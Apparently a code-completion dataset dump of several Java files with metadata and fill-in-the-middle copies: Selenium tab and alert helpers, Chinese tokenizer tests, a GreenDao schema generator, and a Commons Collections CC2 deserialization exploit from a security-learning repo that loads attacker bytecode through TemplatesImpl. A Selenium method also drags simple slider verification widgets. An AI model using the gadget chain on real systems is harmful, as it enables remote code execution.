public void closeAllTabsExceptCurrent() {
// 获取当前窗口句柄
String currentHandle = driver.getWindowHandle();
try {
// 获取所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 遍历窗口句柄
for (String handle : handles) {
// 如果不是当前窗口句柄,则关闭该窗口
if (!handle.equals(currentHandle)) {
driver.switchTo().window(handle); // 切换到该窗口
driver.close(); // 关闭窗口
}
}
// 切换回当前窗口句柄
driver.switchTo().window(currentHandle);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/**
* 切换到新打开的标签页
*/
private void switchToNewTab() {
// 获取所有窗口的句柄
for (String handle : driver.getWindowHandles()) {
// 切换到新标签页的句柄
driver.switchTo().window(handle);
}
}
/**
* 切换到指定标题的标签页
*
* @param tabTitle 标签页标题
*/
public Boolean switchTabByTitle(String tabTitle) {
//js.executeScript("window.switch('" + tabName + "');");
if (StringUtils.isEmpty(tabTitle)) {
return false;
}
if (getCurrentPageTitle().contains(tabTitle)) {
return true;
}
//获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String next = it.next();
try {
driver.switchTo().window(next);//切换到新窗口
initBrowserZoom();
if (getCurrentPageTitle().contains(tabTitle)) {
log.info("切换到标签页(title):" + driver.getTitle());
return true;
}
} catch (Exception e) {
log.info("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到指定标题的标签页");
return false;
}
/**
* 获取当前页的标题
*
* @return
*/
public String getCurrentPageTitle() {
String title = driver.getTitle();
log.info("当前页标题:" + title);
return StringUtils.isNotBlank(title) ? title : "null";
}
/**
* 获取当前页URL
*
* @return
*/
public String getCurrentPageUrl() {
String url = driver.getCurrentUrl();
return StringUtils.isNotBlank(url) ? url : "null";
}
/**
* 切换到具备特定元素的窗体
*
* @param by
*/
public boolean switchTabByElement(By by) {
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
try {
if (getElement(by, 2) != null) {
return true;
}
//获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();//获取所有窗口句柄
Iterator<String> it = handles.iterator();
while (it.hasNext()) {
String next = it.next();
try {
driver.switchTo().window(next);//切换到新窗口
initBrowserZoom();
if (checkElement(by)) {
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + next);
}
}
} catch (Exception e) {
log.error("窗体切换失败!!!!");
return false;
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到具有指定URL前缀的标签页");
return false;
}
/**
* 切换到具有指定URL前缀的标签页
*
* @param urlPrefix URL前缀
* @return 如果成功切换到具有指定URL前缀的标签页,则返回true;否则返回false
*/
public boolean switchTabByUrlPrefix(String urlPrefix) {
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口
String currentHandle = driver.getWindowHandle();
// 遍历窗口句柄
for (String handle : handles) {
try {
driver.switchTo().window(handle); // 切换到窗口
String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL
// 如果当前URL以指定前缀开头,则返回true
if (currentUrl.startsWith(urlPrefix)) {
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到具有指定URL前缀的标签页");
return false;
}
public boolean switchTabByUrl(String url) {
// 获取当前浏览器的所有窗口句柄
Set<String> handles = driver.getWindowHandles();
// 记录 <SUF>
String currentHandle = driver.getWindowHandle();
// 遍历窗口句柄
for (String handle : handles) {
try {
driver.switchTo().window(handle); // 切换到窗口
String currentUrl = driver.getCurrentUrl(); // 获取当前窗口的URL
// 如果当前URL以指定前缀开头,则返回true
if (url.equals(currentUrl)) {
return true;
}
} catch (Exception e) {
log.error("寻找标签页出现异常:" + e.getMessage());
}
}
// 切换失败,恢复到原来的窗口
driver.switchTo().window(currentHandle);
log.info("未找到指定URL的标签页");
return false;
}
/**
* 检查页面是否包含指定的元素
*
* @param seletor
* @return
*/
public boolean checkElement(By seletor) {
try {
// todo 检验返回值,还是抛异常
getElement(seletor, 200);
log.info("checkElement -> true:" + seletor.toString());
return true;
} catch (Exception e) {
log.info("checkElement -> false:" + seletor.toString());
return false;
}
}
/**
* 鼠标移动到指定元素
*
* @param seletor
*/
public void moveMouseToElement(By seletor) {
WebElement element = getElement(seletor);
actions.moveToElement(element).perform();
}
/**
* 模拟鼠标长按指定元素
*
* @param by
* @param durationInMilliseconds
*/
public void pressElement(By by, long durationInMilliseconds) {
WebElement element = getElement(by);
actions.clickAndHold(element).pause(durationInMilliseconds).release().perform();
}
/**
* 拖动滑块验证元素(简单的拖动滑块验证,部分简单滑块验证可用;提供思路仅供参考)
*
* @param sliderLocator 滑块元素的定位器
* @param dragAreaLocator 拖动区域元素的定位器
*/
public void dragSlider(By sliderLocator, By dragAreaLocator) {
// 定位滑块和拖动区域
WebElement slider = driver.findElement(sliderLocator);
WebElement dragArea = driver.findElement(dragAreaLocator);
// 获取滑块和拖动区域的宽度
int sliderWidth = Integer.parseInt(slider.getCssValue("width").replace("px", ""));
int dragAreaWidth = Integer.parseInt(dragArea.getCssValue("width").replace("px", ""));
// 计算需要移动的偏移量,这里简化为拖动区域的宽度减去滑块的宽度,加上一小部分额外距离以确保滑块完全移动到末端
int offset = dragAreaWidth - sliderWidth + 5;
// 执行拖动操作
actions.clickAndHold(slider)
.moveByOffset(offset, 0)
.release()
.perform();
}
/**
* 拖动元素到指定位置
*
* @param elementLocator 拖动元素的定位表达式
* @param xOffset
* @param yOffset
*/
public void dragElementToOffset(By elementLocator, int xOffset, int yOffset) {
// 定位要拖动的元素
WebElement element = driver.findElement(elementLocator);
// 执行长按拖动操作
actions.clickAndHold(element)
.moveByOffset(xOffset, yOffset)
.release()
.perform();
}
/**
* 等待加载弹出框
*
* @param timeInSeconds 等待时间(秒)
* @return 弹出框对象或null
*/
public Alert waitForAlert(int timeInSeconds) {
long startTime = System.currentTimeMillis() + (timeInSeconds * 1000);
while (System.currentTimeMillis() < startTime) {
Alert alert = getAlert();
if (alert != null) {
return alert;
}
}
return null;
}
/**
* 获取浏览器弹窗
*
* @return 弹出框对象或null
*/
public Alert getAlert() {
try {
Alert alert = driver.switchTo().alert();
// 切换到默认内容
driver.switchTo().defaultContent();
return alert;
} catch (Exception ignored) {
return null;
}
}
/**
* 处理prompt弹出框
*
* @param content 输入的内容
*/
public void handlePrompt(String content) {
try {
Alert alert = waitForAlert(3);
if (alert != null) {
alert.sendKeys(content);
alert.accept();
log.info("prompt弹窗处理成功");
} else {
log.info("未找到prompt弹窗");
}
} catch (Exception e) {
log.info("处理prompt弹窗失败: " + e.getMessage());
}
}
/**
* 关闭浏览器弹窗
*
* @return 弹窗文本内容
*/
public String closeAlert() {
try {
Alert alert = getAlert();
alert.accept();
return alert.getText();
} catch (Exception e) {
log.info("关闭alert弹窗失败: " + e.getMessage());
return "";
}
}
/**
* 滑动到页面顶部
*/
public void scrollToTopByJs() {
js.executeScript("window.scrollTo(0, 0)");
}
/**
* 滑动到页面底部
*/
public void scrollToBottomByJs() {
js.executeScript("window.scrollTo(0, document.body.scrollHeight)");
}
/**
* 向下滑动一定距离
*
* @param pixels
*/
public void scrollDownByJs(int pixels) {
js.executeScript("window.scrollBy(0, " + pixels + ")");
}
/**
* 向上滑动一定距离
*
* @param pixels
*/
public void scrollUpByJs(int pixels) {
js.executeScript("window.scrollBy(0, -" + pixels + ")");
}
// todo 下载、上床,和win的句柄交互实现
} | 1 | 28 | 1 |
34101_19 |
package net.paoding.analysis;
import java.io.StringReader;
import junit.framework.TestCase;
import net.paoding.analysis.analyzer.PaodingAnalyzer;
import org.apache.lucene.analysis.Token;
import org.apache.lucene.analysis.TokenStream;
public class AnalyzerTest extends TestCase {
protected PaodingAnalyzer analyzer = new PaodingAnalyzer();
protected StringBuilder sb = new StringBuilder();
protected String dissect(String input) {
try {
TokenStream ts = analyzer.tokenStream("", new StringReader(input));
Token token;
sb.setLength(0);
while ((token = ts.next()) != null) {
sb.append(token.termText()).append('/');
}
if (sb.length() > 0) {
sb.setLength(sb.length() - 1);
}
return sb.toString();
} catch (Exception e) {
e.printStackTrace();
return "error";
}
}
/**
*
*/
public void test000() {
String result = dissect("a");
assertEquals("", result);
}
/**
*
*/
public void test001() {
String result = dissect("空格 a 空格");
assertEquals("空格/空格", result);
}
/**
*
*/
public void test002() {
String result = dissect("A座");
assertEquals("a座", result);
}
/**
*
*/
public void test003() {
String result = dissect("u盘");
assertEquals("u盘", result);
}
public void test004() {
String result = dissect("刚买的u盘的容量");
assertEquals("刚/买的/u盘/容量", result);
}
public void test005() {
String result = dissect("K歌之王很好听");
assertEquals("k歌之王/很好/好听", result);
}
// --------------------------------------------------------------
// 仅包含词语的句子分词策略
// --------------------------------------------------------------
/**
* 句子全由词典词语组成,但词语之间没有包含、交叉关系
*/
public void test100() {
String result = dissect("台北中文国际");
assertEquals("台北/中文/国际", result);
}
/**
* 句子全由词典词语组成,但词语之间有包含关系
*/
public void test101() {
String result = dissect("北京首都机场");
assertEquals("北京/首都/机场", result);
}
/**
* 句子全由词典词语组成,但词语之间有交叉关系
*/
public void test102() {
String result = dissect("东西已经拍卖了");
assertEquals("东西/已经/拍卖/卖了", result);
}
/**
* 句子全由词典词语组成,但词语之间有包含、交叉等复杂关系
*/
public void test103() {
String result = dissect("羽毛球拍");
assertEquals("羽毛/羽毛球/球拍", result);
}
// --------------------------------------------------------------
// noise词汇和单字的分词策略
// --------------------------------------------------------------
/**
* 词语之间有一个noise字(的)
*/
public void test200() {
String result = dissect("足球的魅力");
assertEquals("足球/魅力", result);
}
/**
* 词语之间有一个noise词语(因之)
*/
public void test201() {
String result = dissect("主人因之生气");
assertEquals("主人/生气", result);
}
/**
* 词语前后分别有单字和双字的noise词语(与,有关)
*/
public void test202() {
String result = dissect("与谋杀有关");
assertEquals("谋杀", result);
}
/**
* 前有noise词语(哪怕),后面跟随了连续的noise单字(了,你)
*/
public void test203() {
String result = dissect("哪怕朋友背叛了你");
assertEquals("朋友/背叛", result);
}
/**
* 前后连续的noise词汇(虽然,某些),词语中有noise单字(很)
*/
public void test204() {
String result = dissect("虽然某些动物很凶恶");
assertEquals("动物/凶恶", result);
}
// --------------------------------------------------------------
// 词典没有收录的字符串的分词策略
// --------------------------------------------------------------
/**
* 仅1个字的非词汇串(东,西,南,北)
*/
public void test300() {
String result = dissect("东&&西&&南&&北");
assertEquals("东/西/南/北", result);
}
/**
* 仅两个字的非词汇串(古哥,谷歌,收狗,搜狗)
*/
public void test302() {
String result = dissect("古哥&&谷歌&&收狗&&搜狗");
assertEquals("古哥/谷歌/收狗/搜狗", result);
}
/**
* 多个字的非词汇串
*/
public void test303() {
String result = dissect("这是鸟语:玉鱼遇欲雨");
assertEquals("这是/鸟语/玉鱼/鱼遇/遇欲/欲雨", result);
}
/**
* 两个词语之间有一个非词汇的字(真)
*/
public void test304() {
String result = dissect("朋友真背叛了你了!");
assertEquals("朋友/真/背叛", result);
}
/**
* 两个词语之间有一个非词汇的字符串(盒蟹)
*/
public void test305() {
String result = dissect("建设盒蟹社会");
assertEquals("建设/盒蟹/社会", result);
}
/**
* 两个词语之间有多个非词汇的字符串(盒少蟹)
*/
public void test306() {
String result = dissect("建设盒少蟹社会");
assertEquals("建设/盒少/少蟹/社会", result);
}
// --------------------------------------------------------------
// 不包含小数点的汉字数字
// --------------------------------------------------------------
/**
* 单个汉字数字
*/
public void test400() {
String result = dissect("二");
assertEquals("2", result);
}
/**
* 两个汉字数字
*/
public void test61() {
String result = dissect("五六");
assertEquals("56", result);
}
/**
* 多个汉字数字
*/
public void test62() {
String result = dissect("三四五六");
assertEquals("3456", result);
}
/**
* 十三
*/
public void test63() {
String result = dissect("十三");
assertEquals("13", result);
}
/**
* 二千
*/
public void test65() {
String result = dissect("二千");
assertEquals("2000", result);
}
/**
* 两千
*/
public void test651() {
String result = dissect("两千");
assertEquals("2000", result);
}
/**
* 两千
*/
public void test6511() {
String result = dissect("两千个");
assertEquals("2000/个", result);
}
/**
* 2千
*/
public void test652() {
String result = dissect("2千");
assertEquals("2000", result);
}
/**
*
*/
public void test653() {
String result = dissect("3千万");
assertEquals("30000000", result);
}
/**
*
*/
public void test654() {
String result = dissect("3千万个案例");
assertEquals("30000000/个/案例", result);
}
/**
*
*/
public void test64() {
String result = dissect("千万");
assertEquals("千万", result);
}
public void test66() {
String result = dissect("两两");
assertEquals("两两", result);
}
public void test67() {
String result = dissect("二二");
assertEquals("22", result);
}
public void test68() {
String result = dissect("2.2两");
assertEquals("2.2/两", result);
}
public void test69() {
String result = dissect("二两");
assertEquals("2/两", result);
}
public void test690() {
String result = dissect("2两");
assertEquals("2/两", result);
}
public void test691() {
String result = dissect("2千克");
assertEquals("2000/克", result);
}
public void test692() {
String result = dissect("2公斤");
assertEquals("2/公斤", result);
}
public void test693() {
String result = dissect("2世纪");
assertEquals("2/世纪", result);
}
public void test7() {
String result = dissect("哪怕二");
assertEquals("2", result);
}
} | DrizztLei/code | work/java/ROBOT/src/net/paoding/analysis/AnalyzerTest.java | 2,518 | /**
* 仅两个字的非词汇串(古哥,谷歌,收狗,搜狗)
*/ | block_comment | zh-cn |
package net.paoding.analysis;
import java.io.StringReader;
import junit.framework.TestCase;
import net.paoding.analysis.analyzer.PaodingAnalyzer;
import org.apache.lucene.analysis.Token;
import org.apache.lucene.analysis.TokenStream;
public class AnalyzerTest extends TestCase {
protected PaodingAnalyzer analyzer = new PaodingAnalyzer();
protected StringBuilder sb = new StringBuilder();
protected String dissect(String input) {
try {
TokenStream ts = analyzer.tokenStream("", new StringReader(input));
Token token;
sb.setLength(0);
while ((token = ts.next()) != null) {
sb.append(token.termText()).append('/');
}
if (sb.length() > 0) {
sb.setLength(sb.length() - 1);
}
return sb.toString();
} catch (Exception e) {
e.printStackTrace();
return "error";
}
}
/**
*
*/
public void test000() {
String result = dissect("a");
assertEquals("", result);
}
/**
*
*/
public void test001() {
String result = dissect("空格 a 空格");
assertEquals("空格/空格", result);
}
/**
*
*/
public void test002() {
String result = dissect("A座");
assertEquals("a座", result);
}
/**
*
*/
public void test003() {
String result = dissect("u盘");
assertEquals("u盘", result);
}
public void test004() {
String result = dissect("刚买的u盘的容量");
assertEquals("刚/买的/u盘/容量", result);
}
public void test005() {
String result = dissect("K歌之王很好听");
assertEquals("k歌之王/很好/好听", result);
}
// --------------------------------------------------------------
// 仅包含词语的句子分词策略
// --------------------------------------------------------------
/**
* 句子全由词典词语组成,但词语之间没有包含、交叉关系
*/
public void test100() {
String result = dissect("台北中文国际");
assertEquals("台北/中文/国际", result);
}
/**
* 句子全由词典词语组成,但词语之间有包含关系
*/
public void test101() {
String result = dissect("北京首都机场");
assertEquals("北京/首都/机场", result);
}
/**
* 句子全由词典词语组成,但词语之间有交叉关系
*/
public void test102() {
String result = dissect("东西已经拍卖了");
assertEquals("东西/已经/拍卖/卖了", result);
}
/**
* 句子全由词典词语组成,但词语之间有包含、交叉等复杂关系
*/
public void test103() {
String result = dissect("羽毛球拍");
assertEquals("羽毛/羽毛球/球拍", result);
}
// --------------------------------------------------------------
// noise词汇和单字的分词策略
// --------------------------------------------------------------
/**
* 词语之间有一个noise字(的)
*/
public void test200() {
String result = dissect("足球的魅力");
assertEquals("足球/魅力", result);
}
/**
* 词语之间有一个noise词语(因之)
*/
public void test201() {
String result = dissect("主人因之生气");
assertEquals("主人/生气", result);
}
/**
* 词语前后分别有单字和双字的noise词语(与,有关)
*/
public void test202() {
String result = dissect("与谋杀有关");
assertEquals("谋杀", result);
}
/**
* 前有noise词语(哪怕),后面跟随了连续的noise单字(了,你)
*/
public void test203() {
String result = dissect("哪怕朋友背叛了你");
assertEquals("朋友/背叛", result);
}
/**
* 前后连续的noise词汇(虽然,某些),词语中有noise单字(很)
*/
public void test204() {
String result = dissect("虽然某些动物很凶恶");
assertEquals("动物/凶恶", result);
}
// --------------------------------------------------------------
// 词典没有收录的字符串的分词策略
// --------------------------------------------------------------
/**
* 仅1个字的非词汇串(东,西,南,北)
*/
public void test300() {
String result = dissect("东&&西&&南&&北");
assertEquals("东/西/南/北", result);
}
/**
* 仅两个 <SUF>*/
public void test302() {
String result = dissect("古哥&&谷歌&&收狗&&搜狗");
assertEquals("古哥/谷歌/收狗/搜狗", result);
}
/**
* 多个字的非词汇串
*/
public void test303() {
String result = dissect("这是鸟语:玉鱼遇欲雨");
assertEquals("这是/鸟语/玉鱼/鱼遇/遇欲/欲雨", result);
}
/**
* 两个词语之间有一个非词汇的字(真)
*/
public void test304() {
String result = dissect("朋友真背叛了你了!");
assertEquals("朋友/真/背叛", result);
}
/**
* 两个词语之间有一个非词汇的字符串(盒蟹)
*/
public void test305() {
String result = dissect("建设盒蟹社会");
assertEquals("建设/盒蟹/社会", result);
}
/**
* 两个词语之间有多个非词汇的字符串(盒少蟹)
*/
public void test306() {
String result = dissect("建设盒少蟹社会");
assertEquals("建设/盒少/少蟹/社会", result);
}
// --------------------------------------------------------------
// 不包含小数点的汉字数字
// --------------------------------------------------------------
/**
* 单个汉字数字
*/
public void test400() {
String result = dissect("二");
assertEquals("2", result);
}
/**
* 两个汉字数字
*/
public void test61() {
String result = dissect("五六");
assertEquals("56", result);
}
/**
* 多个汉字数字
*/
public void test62() {
String result = dissect("三四五六");
assertEquals("3456", result);
}
/**
* 十三
*/
public void test63() {
String result = dissect("十三");
assertEquals("13", result);
}
/**
* 二千
*/
public void test65() {
String result = dissect("二千");
assertEquals("2000", result);
}
/**
* 两千
*/
public void test651() {
String result = dissect("两千");
assertEquals("2000", result);
}
/**
* 两千
*/
public void test6511() {
String result = dissect("两千个");
assertEquals("2000/个", result);
}
/**
* 2千
*/
public void test652() {
String result = dissect("2千");
assertEquals("2000", result);
}
/**
*
*/
public void test653() {
String result = dissect("3千万");
assertEquals("30000000", result);
}
/**
*
*/
public void test654() {
String result = dissect("3千万个案例");
assertEquals("30000000/个/案例", result);
}
/**
*
*/
public void test64() {
String result = dissect("千万");
assertEquals("千万", result);
}
public void test66() {
String result = dissect("两两");
assertEquals("两两", result);
}
public void test67() {
String result = dissect("二二");
assertEquals("22", result);
}
public void test68() {
String result = dissect("2.2两");
assertEquals("2.2/两", result);
}
public void test69() {
String result = dissect("二两");
assertEquals("2/两", result);
}
public void test690() {
String result = dissect("2两");
assertEquals("2/两", result);
}
public void test691() {
String result = dissect("2千克");
assertEquals("2000/克", result);
}
public void test692() {
String result = dissect("2公斤");
assertEquals("2/公斤", result);
}
public void test693() {
String result = dissect("2世纪");
assertEquals("2/世纪", result);
}
public void test7() {
String result = dissect("哪怕二");
assertEquals("2", result);
}
} | 1 | 35 | 1 |
30100_0 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
// 因为 CC2 是基于 CC4 的,所以大部分链子都差不多,直接写了
public class CC2EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
| Drun1baby/JavaSecurityLearning | JavaSecurity/Apache/CC/CC2/src/CC2EXP/CC2EXP.java | 512 | // 因为 CC2 是基于 CC4 的,所以大部分链子都差不多,直接写了 | line_comment | zh-cn | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
// 因为 <SUF>
public class CC2EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
| 0 | 36 | 0 |
13765_40 | package com.d.greendao;
import de.greenrobot.daogenerator.DaoGenerator;
import de.greenrobot.daogenerator.Entity;
import de.greenrobot.daogenerator.Schema;
/**
* GreenDaoGenerator
* Created by D on 2017/4/27.
*/
public class GreenDaoGenerator {
public static void main(String[] args) throws Exception {
// 正如你所见的,你创建了一个用于添加实体(Entity)的模式(Schema)对象。
// 两个参数分别代表:数据库版本号与自动生成代码的包路径。
// Schema schema = new Schema(1, "com.d.music.data.database.greendao.music");
// 当然,如果你愿意,你也可以分别指定生成的 Bean 与 DAO 类所在的目录,只要如下所示:
Schema schema = new Schema(1, "com.d.music.data.database.greendao.bean");
schema.setDefaultJavaPackageDao("com.d.music.data.database.greendao.dao");
// 模式(Schema)同时也拥有两个默认的 flags,分别用来标示 entity 是否是 activie 以及是否使用 keep sections。
// schema2.enableActiveEntitiesByDefault();
// schema2.enableKeepSectionsByDefault();
// 一旦你拥有了一个 Schema 对象后,你便可以使用它添加实体(Entities)了。
addMusic(schema);
addLocalAllMusic(schema);
addCollectionMusic(schema);
addCustomList(schema);
addCustomMusics(schema);
addTransferModel(schema);
// 最后我们将使用 DAOGenerator 类的 generateAll() 方法自动生成代码,此处你需要根据自己的情况更改输出目录。
// 其实,输出目录的路径可以在 build.gradle 中设置,有兴趣的朋友可以自行搜索,这里就不再详解。
// 重新运行GreenDaoGenerator时,将此路径更改为本地src路径
new DaoGenerator().generateAll(schema, "D:\\AndroidStudioProjects\\DMusic\\app\\src\\main\\java");
}
/**
* Music - 歌曲
*/
private static void addMusic(Schema schema) {
Entity entity = schema.addEntity("MusicModel"); // 表名
addProperty(entity);
}
/**
* LocalAllMusic - 本地歌曲
*/
private static void addLocalAllMusic(Schema schema) {
Entity entity = schema.addEntity("LocalAllMusic"); // 表名
addProperty(entity);
}
/**
* CollectionMusic - 收藏歌曲
*/
private static void addCollectionMusic(Schema schema) {
Entity entity = schema.addEntity("CollectionMusic"); // 表名
addProperty(entity);
}
/**
* CustomList - 自定义列表
*/
private static void addCustomList(Schema schema) {
Entity entity = schema.addEntity("CustomListModel"); // 表名
entity.addIdProperty().autoincrement(); // id主键自增
entity.addStringProperty("name"); // 歌曲列表名
entity.addLongProperty("count"); // 包含歌曲数
entity.addIntProperty("seq"); // 排序显示序号
entity.addIntProperty("sortType"); // 排序方式(1:按名称排序,2:按时间排序,3:自定义排序)
entity.addIntProperty("pointer"); // 指针:指向数据库相应表
}
/**
* CustomMusic - 自定义歌曲(创建20张)
*/
private static void addCustomMusics(Schema schema) {
for (int i = 0; i < 20; i++) {
Entity entity = schema.addEntity("CustomMusic" + i); // 表名
addProperty(entity);
}
}
/**
* TransferModel - 传输
*/
private static void addTransferModel(Schema schema) {
Entity entity = schema.addEntity("TransferModel"); // 表名
entity.addStringProperty("transferId").primaryKey(); // 文件完整路径---主键
entity.addIntProperty("transferType");
entity.addIntProperty("transferState");
entity.addLongProperty("transferCurrentLength");
entity.addLongProperty("transferTotalLength");
entity.addStringProperty("id"); // 文件完整路径
entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等
entity.addIntProperty("seq"); // 自定义序号
entity.addStringProperty("songId"); // 歌曲ID
entity.addStringProperty("songName"); // 歌曲名
entity.addStringProperty("songUrl"); // 歌曲url
entity.addStringProperty("artistId"); // 艺术家ID
entity.addStringProperty("artistName"); // 歌手名
entity.addStringProperty("albumId"); // 专辑ID
entity.addStringProperty("albumName"); // 专辑
entity.addStringProperty("albumUrl"); // 专辑url
entity.addStringProperty("lrcName"); // 歌词名称
entity.addStringProperty("lrcUrl"); // 歌词路径
entity.addLongProperty("fileDuration"); // 歌曲时长
entity.addLongProperty("fileSize"); // 文件大小
entity.addStringProperty("filePostfix"); // 文件后缀类型
entity.addStringProperty("fileFolder"); // 父文件夹绝对路径
entity.addBooleanProperty("isCollected"); // 是否收藏
entity.addLongProperty("timeStamp"); // 时间戳,插入时间
}
/**
* 添加公共字段
*/
private static void addProperty(Entity entity) {
entity.addStringProperty("id").primaryKey(); // 文件完整路径---主键
entity.addIntProperty("type"); // 类型:本地、百度、网易、QQ等
entity.addIntProperty("seq"); // 自定义序号
entity.addStringProperty("songId"); // 歌曲ID
entity.addStringProperty("songName"); // 歌曲名
entity.addStringProperty("songUrl"); // 歌曲url
entity.addStringProperty("artistId"); // 艺术家ID
entity.addStringProperty("artistName"); // 歌手名
entity.addStringProperty("albumId"); // 专辑ID
entity.addStringProperty("albumName"); // 专辑
entity.addStringProperty("albumUrl"); // 专辑url
entity.addStringProperty("lrcName"); // 歌词名称
entity.addStringProperty("lrcUrl"); // 歌词路径
entity.addLongProperty("fileDuration"); // 歌曲时长
entity.addLongProperty("fileSize"); // 文件大小
entity.addStringProperty("filePostfix"); // 文件后缀类型
entity.addStringProperty("fileFolder"); // 父文件夹绝对路径
entity.addBooleanProperty("isCollected"); // 是否收藏
entity.addLongProperty("timeStamp"); // 时间戳,插入时间
}
}
| Dsiner/DMusic | lib_greendao_generator/src/main/java/com/d/greendao/GreenDaoGenerator.java | 1,588 | // 父文件夹绝对路径 | line_comment | zh-cn | package com.d.greendao;
import de.greenrobot.daogenerator.DaoGenerator;
import de.greenrobot.daogenerator.Entity;
import de.greenrobot.daogenerator.Schema;
/**
* GreenDaoGenerator
* Created by D on 2017/4/27.
*/
public class GreenDaoGenerator {
public static void main(String[] args) throws Exception {
// 正如你所见的,你创建了一个用于添加实体(Entity)的模式(Schema)对象。
// 两个参数分别代表:数据库版本号与自动生成代码的包路径。
// Schema schema = new Schema(1, "com.d.music.data.database.greendao.music");
// 当然,如果你愿意,你也可以分别指定生成的 Bean 与 DAO 类所在的目录,只要如下所示:
Schema schema = new Schema(1, "com.d.music.data.database.greendao.bean");
schema.setDefaultJavaPackageDao("com.d.music.data.database.greendao.dao");
// 模式(Schema)同时也拥有两个默认的 flags,分别用来标示 entity 是否是 activie 以及是否使用 keep sections。
// schema2.enableActiveEntitiesByDefault();
// schema2.enableKeepSectionsByDefault();
// 一旦你拥有了一个 Schema 对象后,你便可以使用它添加实体(Entities)了。
addMusic(schema);
addLocalAllMusic(schema);
addCollectionMusic(schema);
addCustomList(schema);
addCustomMusics(schema);
addTransferModel(schema);
// 最后我们将使用 DAOGenerator 类的 generateAll() 方法自动生成代码,此处你需要根据自己的情况更改输出目录。
// 其实,输出目录的路径可以在 build.gradle 中设置,有兴趣的朋友可以自行搜索,这里就不再详解。
// 重新运行GreenDaoGenerator时,将此路径更改为本地src路径
new DaoGenerator().generateAll(schema, "D:\\AndroidStudioProjects\\DMusic\\app\\src\\main\\java");
}
/**
* Music - 歌曲
*/
private static void addMusic(Schema schema) {
Entity entity = schema.addEntity("MusicModel"); // 表名
addProperty(entity);
}
/**
* LocalAllMusic - 本地歌曲
*/
private static void addLocalAllMusic(Schema schema) {
Entity entity = schema.addEntity("LocalAllMusic"); // 表名
addProperty(entity);
}
/**
* CollectionMusic - 收藏歌曲
*/
private static void addCollectionMusic(Schema schema) {
Entity entity = schema.addEntity("CollectionMusic"); // 表名
addProperty(entity);
}
/**
* CustomList - 自定义列表
*/
private static void addCustomList(Schema schema) {
Entity entity = schema.addEntity("CustomListModel"); // 表名
